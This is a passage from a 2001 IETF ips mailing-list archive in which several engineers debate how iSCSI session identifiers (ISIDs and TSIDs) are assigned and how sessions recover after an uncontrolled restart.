Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > -----Original Message----- > > From: Rod Harrison [mailto:rod.harrison@windriver.com] > > Sent: Friday, September 07, 2001 5:34 AM > > To: Black_David@emc.com; ips@ece.cmu.edu > > Subject: RE: iSCSI: ISIDs > > > > > > > > I don't see how having the target assign the ISID, > and effectively > > the whole SSID helps with the original problem of > recovery from an > > uncontrolled restart. In fact, I think it makes it worse. > > > > Without and initiator assigned ISID the target is > > presented with no > > information with which to distinguish HBAs in a host. > Assuming that > > HBA 1 has an existing session, how can the target tell > the difference > > between HBA 2 sending a leading login with the intent > of starting a > > new session, and HBA 1 sending a leading login after > an uncontrolled > > restart? > > > > - Rod > > > > -----Original Message----- > > From: owner-ips@ece.cmu.edu > [mailto:owner-ips@ece.cmu.edu]On Behalf Of > > Black_David@emc.com > > Sent: Thursday, September 06, 2001 10:40 PM > > To: ips@ece.cmu.edu > > Subject: iSCSI: ISIDs > > > > > > Time to back up and regroup on this topic. It's clear > that ISID > > management needs more attention, and hence there are > some issues > > more basic than the attempted consensus call to work out. So, > > I'm going to abandon the attempted consensus call, and try to > > make progress on the underlying ISID issue. Those whose posts > > have called ISID management into question should not feel it > > necessary to apologize - this is an important issue to > unscramble. > > > > A rough summary of where we find ourselves is: > > - iSCSI Initiator Names span network interfaces/adapters, > > as do iSCSI Target Names. > > - Multiple sessions are allowed between an iSCSI Initiator > > and Target. These are identified by an ISID and a > > TSID. > > - The ISID is the Initiator portion of the Session identifier > > and is used to track certain resources associated with > > the session (e.g., persistent reserves). > > - The TSID is the Target portion of the Session identifier, > > and serves primarily to make sure that all session > > identifiers (SSID = ISID||TSID) are unique at the > > Target. > > > > Michael Schoberg suggest getting rid of the ISID: > > > > > ISID - initiator-defined session-identifier > > > > > > Since initiators don't know about other initiators > connected to this > > target, > > > this has the potential of causing problems. > Eliminate it. The > > initiator > > > should simply state it's intentions of establishing > a new session or > > adding > > > a connection to an existing session (via binary flags). > > > > The implication of this would be to make SSID = TSID, > dynamically > > assigned by the Target (0 is a reserved value on Login > asking Target > > to do this assignment), and partitioned appropriately across > > interfaces. > > Recoverable session resources would be associated with > the combination > > of at the iSCSI Target, > and the initiator > > tracks via - in both cases > the TSID replaces > > the ISID. From a functional standpoint, this looks > like it works, > > and has the nice additional property that session > resources can be > > recovered through any iSCSI Initiator interface vs. > having to go back > > to the one that's allowed to use the ISID for that > session if ISIDs > > are statically partitioned. > > > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > > > Thanks, > > --David > > > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > From owner-ips@ece.cmu.edu Fri Sep 7 11:53:33 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17950 for ; Fri, 7 Sep 2001 11:53:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87EGA219156 for ips-outgoing; Fri, 7 Sep 2001 10:16:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87EG8P19151 for ; Fri, 7 Sep 2001 10:16:08 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 10:18:11 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD707@CORPMX14> From: Black_David@emc.com To: rod.harrison@windriver.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 10:09:25 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > > > Without an initiator assigned ISID the target is > > presented with no > > > information with which to distinguish HBAs in a host. > > Assuming that > > > HBA 1 has an existing session, how can the target tell > > the difference > > > between HBA 2 sending a leading login with the intent > > of starting a > > > new session, and HBA 1 sending a leading login after > > an uncontrolled > > > restart? > > > > HBA 2 sends a TSID of zero, HBA 1 sends the TSID of the > > session it's > > trying to recover. Two HBAs are not necessary to create > > this scenario - > > it can occur with two sessions on a single HBA. If the > > HBA has forgotten > > the identity of the session it's trying to recover, that > > session is > > unrecoverable, but see above comment on differences in > > remembering > > an ISID vs. a TSID. > > > > This is where I think we have a problem, if HBA 1 isn't trying to > recover because it has had an uncontrolled restart it too will send a > TSID of 0. How then can the target know whether it should clean the > old session to HBA 1, or open a new session to HBA 2. IP address? If both HBA 1 and HBA 2 send TSID's of zero, the result is two sessions, one to HBA 1 and one to HBA 2, with different TSIDs assigned by the Target. If HBA 1 sends a TSID of zero, it has lost interest in and/or forgotten about its old session. Clearing the old session is then a matter of the target timing it out and disposing of it in some fashion and/or some sort of Reset being issued on another session if there's something like a Persistent Reserve that needs to be cleared. If there was a Persistent Reserve, and the initiating HBA has forgotten which session it was associated with, that initiating HBA has a problem no matter what. One advantage of only using TSIDs is that it could allow a session with a Persistent Reserve to be picked up in some fashion on a different HBA if ISID ranges are statically assigned to HBAs (consider an HBA failure). Part of this is a difference in approach - your email seems to be concerned with distinguishing HBAs, whereas iSCSI has no problem spreading the connections of a single session across multiple HBAs and hence is concerned with identifying and distinguishing sessions. Thanks, --David > > I fear I am missing something. > > > Thanks, > -----Original Message----- > From: Rod Harrison [mailto:rod.harrison@windriver.com] > Sent: Friday, September 07, 2001 10:05 AM > To: Black_David@emc.com; ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > David, > > Comments below. > > - Rod > > > -----Original Message----- > > From: Black_David@emc.com [mailto:Black_David@emc.com] > > Sent: Friday, September 07, 2001 2:48 PM > > To: rod.harrison@windriver.com; ips@ece.cmu.edu > > Subject: RE: iSCSI: ISIDs > > > > > > Rod, > > > > > I don't see how having the target assign the ISID, > > and effectively > > > the whole SSID helps with the original problem of > > recovery from an > > > uncontrolled restart. In fact, I think it makes it worse. > > > > It helps with the following problem: > > > > When the initiating adapter/interface assigns the > > ISID, mistakes > > in assigning the ISID (inadvertently using the same ISID twice > > on two different interfaces) can cause sessions to > > step on each > > other when that was not the intended result. If there's no > > ISID, and TSID is dynamically assigned by the Target, this > > problem can't happen. > > > > I agree that this part is simpler, my concern was over uncontrolled > restart. > > > Recovery from an uncontrolled restart wouldn't change in > > principle. > > In order to recover session resources (e.g., persistent > > reserves), the > > HBA had to remember the ISID - now it would have to > > remember the TSID. > > In practice, this may be an important difference - an > > HBA can "remember" > > the ISID(s) by always using the same ISID value(s), > > whereas the TSID(s) > > have to be stored after being provided by the target. > > > > > Without and initiator assigned ISID the target is > > presented with no > > > information with which to distinguish HBAs in a host. > > Assuming that > > > HBA 1 has an existing session, how can the target tell > > the difference > > > between HBA 2 sending a leading login with the intent > > of starting a > > > new session, and HBA 1 sending a leading login after > > an uncontrolled > > > restart? > > > > HBA 2 sends a TSID of zero, HBA 1 sends the TSID of the > > session it's > > trying to recover. Two HBAs are not necessary to create > > this scenario - > > it can occur with two sessions on a single HBA. If the > > HBA has forgotten > > the identity of the session it's trying to recover, that > > session is > > unrecoverable, but see above comment on differences in > > remembering > > an ISID vs. a TSID. > > > > This is where I think we have a problem, if HBA 1 isn't trying to > recover because it has had an uncontrolled restart it too will send a > TSID of 0. How then can the target know whether it should clean the > old session to HBA 1, or open a new session to HBA 2. IP address? > > I fear I am missing something. > > > Thanks, > > --David > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > > > > -----Original Message----- > > > From: Rod Harrison [mailto:rod.harrison@windriver.com] > > > Sent: Friday, September 07, 2001 5:34 AM > > > To: Black_David@emc.com; ips@ece.cmu.edu > > > Subject: RE: iSCSI: ISIDs > > > > > > > > > > > > I don't see how having the target assign the ISID, > > and effectively > > > the whole SSID helps with the original problem of > > recovery from an > > > uncontrolled restart. In fact, I think it makes it worse. > > > > > > Without and initiator assigned ISID the target is > > > presented with no > > > information with which to distinguish HBAs in a host. > > Assuming that > > > HBA 1 has an existing session, how can the target tell > > the difference > > > between HBA 2 sending a leading login with the intent > > of starting a > > > new session, and HBA 1 sending a leading login after > > an uncontrolled > > > restart? > > > > > > - Rod > > > > > > -----Original Message----- > > > From: owner-ips@ece.cmu.edu > > [mailto:owner-ips@ece.cmu.edu]On Behalf Of > > > Black_David@emc.com > > > Sent: Thursday, September 06, 2001 10:40 PM > > > To: ips@ece.cmu.edu > > > Subject: iSCSI: ISIDs > > > > > > > > > Time to back up and regroup on this topic. It's clear > > that ISID > > > management needs more attention, and hence there are > > some issues > > > more basic than the attempted consensus call to work out. So, > > > I'm going to abandon the attempted consensus call, and try to > > > make progress on the underlying ISID issue. Those whose posts > > > have called ISID management into question should not feel it > > > necessary to apologize - this is an important issue to > > unscramble. > > > > > > A rough summary of where we find ourselves is: > > > - iSCSI Initiator Names span network interfaces/adapters, > > > as do iSCSI Target Names. > > > - Multiple sessions are allowed between an iSCSI Initiator > > > and Target. These are identified by an ISID and a > > > TSID. > > > - The ISID is the Initiator portion of the Session identifier > > > and is used to track certain resources associated with > > > the session (e.g., persistent reserves). > > > - The TSID is the Target portion of the Session identifier, > > > and serves primarily to make sure that all session > > > identifiers (SSID = ISID||TSID) are unique at the > > > Target. > > > > > > Michael Schoberg suggest getting rid of the ISID: > > > > > > > ISID - initiator-defined session-identifier > > > > > > > > Since initiators don't know about other initiators > > connected to this > > > target, > > > > this has the potential of causing problems. > > Eliminate it. The > > > initiator > > > > should simply state it's intentions of establishing > > a new session or > > > adding > > > > a connection to an existing session (via binary flags). > > > > > > The implication of this would be to make SSID = TSID, > > dynamically > > > assigned by the Target (0 is a reserved value on Login > > asking Target > > > to do this assignment), and partitioned appropriately across > > > interfaces. > > > Recoverable session resources would be associated with > > the combination > > > of at the iSCSI Target, > > and the initiator > > > tracks via - in both cases > > the TSID replaces > > > the ISID. From a functional standpoint, this looks > > like it works, > > > and has the nice additional property that session > > resources can be > > > recovered through any iSCSI Initiator interface vs. > > having to go back > > > to the one that's allowed to use the ISID for that > > session if ISIDs > > > are statically partitioned. > > > > > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > > > > > Thanks, > > > --David > > > > > > --------------------------------------------------- > > > David L. Black, Senior Technologist > > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > > black_david@emc.com Mobile: +1 (978) 394-7754 > > > --------------------------------------------------- > > > > From owner-ips@ece.cmu.edu Fri Sep 7 11:58:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18111 for ; Fri, 7 Sep 2001 11:58:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87DpXt17557 for ips-outgoing; Fri, 7 Sep 2001 09:51:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87DpVP17552 for ; Fri, 7 Sep 2001 09:51:31 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN29T; Fri, 7 Sep 2001 09:51:25 -0400 Reply-To: From: "Eddy Quicksall" To: "'John Hufferd'" , "Sandeep Joshi" Cc: Subject: RE: iSCSI: login issue - partial consensus call Date: Fri, 7 Sep 2001 09:51:06 -0400 Message-ID: <000c01c137a4$24f8e4a0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Fri Sep 7 12:02:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA18324 for ; Fri, 7 Sep 2001 12:02:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87EdCw20586 for ips-outgoing; Fri, 7 Sep 2001 10:39:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87EdAP20577 for ; Fri, 7 Sep 2001 10:39:10 -0400 (EDT) Received: from phys-ha0nwka.ebay.sun.com ([129.149.1.90]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22936 for ; Fri, 7 Sep 2001 08:39:03 -0600 (MDT) Received: from sonnet (sonnet [129.149.161.67]) by phys-ha0nwka.ebay.sun.com (8.10.2+Sun/8.10.2/ENSMAIL,v2.1p1) with SMTP id f87EVVY12900 for ; Fri, 7 Sep 2001 07:31:31 -0700 (PDT) Message-Id: <200109071431.f87EVVY12900@phys-ha0nwka.ebay.sun.com> Date: Fri, 7 Sep 2001 07:31:33 -0700 (PDT) From: JP Raghavendra Rao Reply-To: JP Raghavendra Rao Subject: Re: iSCSI: ISIDs To: ips@ece.cmu.edu MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 5I4Gsg/Zqjn7r4D0ee4Nsw== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.3.2 SunOS 5.7 sun4u sparc Sender: owner-ips@ece.cmu.edu Precedence: bulk If an interface/adapter is sharing Initiator Name with other interfaces/adapters, iSCSI *REQUIRES* that there be a higher level "session manager" (in the OS) to manage various things like Task Tags, Sequence numbers, Exp StatSN, etc. And I don't understand why ISID assignment can not be managed by the same "session manager". How is ISID assignment a unique problem compared to the rest of various shared session level parameters ? If an interface has a unique Initiator Name, it can assign an ISID of its own. -JP > > Time to back up and regroup on this topic. It's clear that ISID > management needs more attention, and hence there are some issues > more basic than the attempted consensus call to work out. So, > I'm going to abandon the attempted consensus call, and try to > make progress on the underlying ISID issue. Those whose posts > have called ISID management into question should not feel it > necessary to apologize - this is an important issue to unscramble. > > A rough summary of where we find ourselves is: > - iSCSI Initiator Names span network interfaces/adapters, > as do iSCSI Target Names. > - Multiple sessions are allowed between an iSCSI Initiator > and Target. These are identified by an ISID and a > TSID. > - The ISID is the Initiator portion of the Session identifier > and is used to track certain resources associated with > the session (e.g., persistent reserves). > - The TSID is the Target portion of the Session identifier, > and serves primarily to make sure that all session > identifiers (SSID = ISID||TSID) are unique at the > Target. > > Michael Schoberg suggest getting rid of the ISID: > > > ISID - initiator-defined session-identifier > > > > Since initiators don't know about other initiators connected to this > target, > > this has the potential of causing problems. Eliminate it. The initiator > > should simply state it's intentions of establishing a new session or > adding > > a connection to an existing session (via binary flags). > > The implication of this would be to make SSID = TSID, dynamically > assigned by the Target (0 is a reserved value on Login asking Target > to do this assignment), and partitioned appropriately across interfaces. > Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID. From a functional standpoint, this looks like it works, > and has the nice additional property that session resources can be > recovered through any iSCSI Initiator interface vs. having to go back > to the one that's allowed to use the ISID for that session if ISIDs > are statically partitioned. > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 12:37:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19676 for ; Fri, 7 Sep 2001 12:37:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87EuEX21861 for ips-outgoing; Fri, 7 Sep 2001 10:56:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87EuCP21853 for ; Fri, 7 Sep 2001 10:56:12 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 10:53:41 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD709@CORPMX14> From: Black_David@emc.com To: Jp.Raghavendra@sun.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 10:49:27 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > If an interface/adapter is sharing Initiator Name with other > interfaces/adapters, iSCSI *REQUIRES* that there be a higher > level "session manager" (in the OS) to manage various things > like Task Tags, Sequence numbers, Exp StatSN, etc. And I don't > understand why ISID assignment can not be managed by the > same "session manager". That's not exactly true. There are two sorts of coordination that can be necessary if an Initiator Name spans interfaces/adapters: (1) Task Tags, Sequence Numbers, ExpStatSN, etc. WHEN an individual session spans interfaces/adapters. The set of spannable interfaces/adapters is called a "portal group". (2) ISID assignment to different sessions in the same or different portal groups. > How is ISID assignment a unique problem > compared to the rest of various shared session level parameters ? Because ISID assignment is a separate problem. One still has to coordinate ISID assignment across interfaces/adapters even if *every* session has exactly one connection and hence can't span interfaces/adapters. > If an interface has a unique Initiator Name, it can assign > an ISID of its own. Right, but if every interface is its own portal group underneath the same Initiator Name (i.e., sessions don't span interfaces, but the iSCSI Initiator does), ISID assignment still has to be coordinated across interfaces/adapters even though there's no "session manager" needed across interfaces/adapters. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: JP Raghavendra Rao [mailto:Jp.Raghavendra@sun.com] > Sent: Friday, September 07, 2001 10:32 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: ISIDs > > > > If an interface/adapter is sharing Initiator Name with other > interfaces/adapters, iSCSI *REQUIRES* that there be a higher > level "session manager" (in the OS) to manage various things > like Task Tags, Sequence numbers, Exp StatSN, etc. And I don't > understand why ISID assignment can not be managed by the > same "session manager". How is ISID assignment a unique problem > compared to the rest of various shared session level parameters ? > > If an interface has a unique Initiator Name, it can assign > an ISID of its own. > > -JP > > > > > Time to back up and regroup on this topic. It's clear that ISID > > management needs more attention, and hence there are some issues > > more basic than the attempted consensus call to work out. So, > > I'm going to abandon the attempted consensus call, and try to > > make progress on the underlying ISID issue. Those whose posts > > have called ISID management into question should not feel it > > necessary to apologize - this is an important issue to unscramble. > > > > A rough summary of where we find ourselves is: > > - iSCSI Initiator Names span network interfaces/adapters, > > as do iSCSI Target Names. > > - Multiple sessions are allowed between an iSCSI Initiator > > and Target. These are identified by an ISID and a > > TSID. > > - The ISID is the Initiator portion of the Session identifier > > and is used to track certain resources associated with > > the session (e.g., persistent reserves). > > - The TSID is the Target portion of the Session identifier, > > and serves primarily to make sure that all session > > identifiers (SSID = ISID||TSID) are unique at the > > Target. > > > > Michael Schoberg suggest getting rid of the ISID: > > > > > ISID - initiator-defined session-identifier > > > > > > Since initiators don't know about other initiators > connected to this > > target, > > > this has the potential of causing problems. Eliminate it. The > initiator > > > should simply state it's intentions of establishing a new > session or > > adding > > > a connection to an existing session (via binary flags). > > > > The implication of this would be to make SSID = TSID, dynamically > > assigned by the Target (0 is a reserved value on Login asking Target > > to do this assignment), and partitioned appropriately > across interfaces. > > Recoverable session resources would be associated with the > combination > > of at the iSCSI Target, and > the initiator > > tracks via - in both cases the > TSID replaces > > the ISID. From a functional standpoint, this looks like it works, > > and has the nice additional property that session resources can be > > recovered through any iSCSI Initiator interface vs. having > to go back > > to the one that's allowed to use the ISID for that session if ISIDs > > are statically partitioned. > > > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > > > Thanks, > > --David > > > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > From owner-ips@ece.cmu.edu Fri Sep 7 12:39:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19744 for ; Fri, 7 Sep 2001 12:39:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87EdXM20614 for ips-outgoing; Fri, 7 Sep 2001 10:39:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87EdVP20609 for ; Fri, 7 Sep 2001 10:39:31 -0400 (EDT) Received: from london ([192.168.1.82]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id HAA10646; Fri, 7 Sep 2001 07:39:13 -0700 (PDT) From: "Rod Harrison" To: , Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 15:41:06 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD707@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Friday, September 07, 2001 3:09 PM > To: rod.harrison@windriver.com; ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > > > > Without an initiator assigned ISID the target is > > > presented with no > > > > information with which to distinguish HBAs in a host. > > > Assuming that > > > > HBA 1 has an existing session, how can the target tell > > > the difference > > > > between HBA 2 sending a leading login with the intent > > > of starting a > > > > new session, and HBA 1 sending a leading login after > > > an uncontrolled > > > > restart? > > > > > > HBA 2 sends a TSID of zero, HBA 1 sends the TSID of the > > > session it's > > > trying to recover. Two HBAs are not necessary to create > > > this scenario - > > > it can occur with two sessions on a single HBA. If the > > > HBA has forgotten > > > the identity of the session it's trying to recover, that > > > session is > > > unrecoverable, but see above comment on differences in > > > remembering > > > an ISID vs. a TSID. > > > > > > > This is where I think we have a problem, if HBA 1 > isn't trying to > > recover because it has had an uncontrolled restart it > too will send a > > TSID of 0. How then can the target know whether it > should clean the > > old session to HBA 1, or open a new session to HBA 2. > IP address? > > If both HBA 1 and HBA 2 send TSID's of zero, the result > is two sessions, > one to HBA 1 and one to HBA 2, with different TSIDs > assigned by the > Target. I see. I was worrying about how the target could distinguish HBA 1 from HBA 2, but now I see it doesn't have to. In the current scheme the target has to deal with cleaning old sessions if an ISID is reused with TSID=0. If the target always issues a new SSID when it gets a leading login it doesn't have to distinguish between the HBAs. The only difference is that old sessions may get left lying around for longer while they wait for something to time out. - Rod > If HBA 1 sends a TSID of zero, it has lost interest in > and/or forgotten about its old session. Clearing the old session > is then a matter of the target timing it out and > disposing of it in > some fashion and/or some sort of Reset being issued on another > session if there's something like a Persistent Reserve that needs > to be cleared. If there was a Persistent Reserve, and > the initiating > HBA has forgotten which session it was associated with, > that initiating > HBA has a problem no matter what. One advantage of only > using TSIDs > is that it could allow a session with a Persistent Reserve to > be picked up in some fashion on a different HBA if ISID > ranges are > statically assigned to HBAs (consider an HBA failure). > > Part of this is a difference in approach - your email seems to > be concerned with distinguishing HBAs, whereas iSCSI has > no problem > spreading the connections of a single session across > multiple HBAs > and hence is concerned with identifying and > distinguishing sessions. > > Thanks, > --David > > > > > I fear I am missing something. > > > > > Thanks, > > > -----Original Message----- > > From: Rod Harrison [mailto:rod.harrison@windriver.com] > > Sent: Friday, September 07, 2001 10:05 AM > > To: Black_David@emc.com; ips@ece.cmu.edu > > Subject: RE: iSCSI: ISIDs > > > > > > David, > > > > Comments below. > > > > - Rod > > > > > -----Original Message----- > > > From: Black_David@emc.com [mailto:Black_David@emc.com] > > > Sent: Friday, September 07, 2001 2:48 PM > > > To: rod.harrison@windriver.com; ips@ece.cmu.edu > > > Subject: RE: iSCSI: ISIDs > > > > > > > > > Rod, > > > > > > > I don't see how having the target assign the ISID, > > > and effectively > > > > the whole SSID helps with the original problem of > > > recovery from an > > > > uncontrolled restart. In fact, I think it makes > it worse. > > > > > > It helps with the following problem: > > > > > > When the initiating adapter/interface assigns the > > > ISID, mistakes > > > in assigning the ISID (inadvertently using > the same ISID twice > > > on two different interfaces) can cause sessions to > > > step on each > > > other when that was not the intended result. > If there's no > > > ISID, and TSID is dynamically assigned by the > Target, this > > > problem can't happen. > > > > > > > I agree that this part is simpler, my concern was over > uncontrolled > > restart. > > > > > Recovery from an uncontrolled restart wouldn't change in > > > principle. > > > In order to recover session resources (e.g., persistent > > > reserves), the > > > HBA had to remember the ISID - now it would have to > > > remember the TSID. > > > In practice, this may be an important difference - an > > > HBA can "remember" > > > the ISID(s) by always using the same ISID value(s), > > > whereas the TSID(s) > > > have to be stored after being provided by the target. > > > > > > > Without and initiator assigned ISID the target is > > > presented with no > > > > information with which to distinguish HBAs in a host. > > > Assuming that > > > > HBA 1 has an existing session, how can the target tell > > > the difference > > > > between HBA 2 sending a leading login with the intent > > > of starting a > > > > new session, and HBA 1 sending a leading login after > > > an uncontrolled > > > > restart? > > > > > > HBA 2 sends a TSID of zero, HBA 1 sends the TSID of the > > > session it's > > > trying to recover. Two HBAs are not necessary to create > > > this scenario - > > > it can occur with two sessions on a single HBA. If the > > > HBA has forgotten > > > the identity of the session it's trying to recover, that > > > session is > > > unrecoverable, but see above comment on differences in > > > remembering > > > an ISID vs. a TSID. 